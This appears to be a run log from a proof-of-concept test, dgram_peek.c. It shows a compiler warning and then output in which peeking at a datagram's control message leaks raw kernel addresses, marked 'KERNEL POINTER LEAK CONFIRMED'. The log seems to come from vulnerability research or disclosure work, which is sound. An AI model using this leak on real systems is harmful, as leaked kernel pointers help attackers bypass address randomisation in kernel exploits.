DF-2702 / run.2.log
dgram_peek.c: In function 'main':
dgram_peek.c:24:49: warning: format '%zu' expects argument of type 'size_t', but argument 3 has type 'socklen_t' {aka 'unsigned int'} [-Wformat=]
printf("DGRAM PEEK controllen=%u cmsg_len=%zu data0=0x%016llx\n",
~~^
%u
dgram_peek.c:26:9:
((struct cmsghdr*)rbuf)->cmsg_len,
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
DGRAM PEEK controllen=24 cmsg_len=24 data0=0xfffff801167e5500
slot[0] = 0xfffff801167e5980 <== RAW KERNEL POINTER
slot[1] = 0xfffff801167e5a80 <== RAW KERNEL POINTER
>>> KERNEL POINTER LEAK CONFIRMED IN PEEK
slot[0] = 0xfffff801167e5980 <== RAW KERNEL POINTER
slot[1] = 0xfffff801167e5a80 <== RAW KERNEL POINTER
>>> KERNEL POINTER LEAK CONFIRMED IN PEEK
slot[0] = 0x0000000700000006 (non-canonical garbage)
slot[0] = 0xfffff801167e5e80 <== RAW KERNEL POINTER
slot[1] = 0xfffff801167e5f80 <== RAW KERNEL POINTER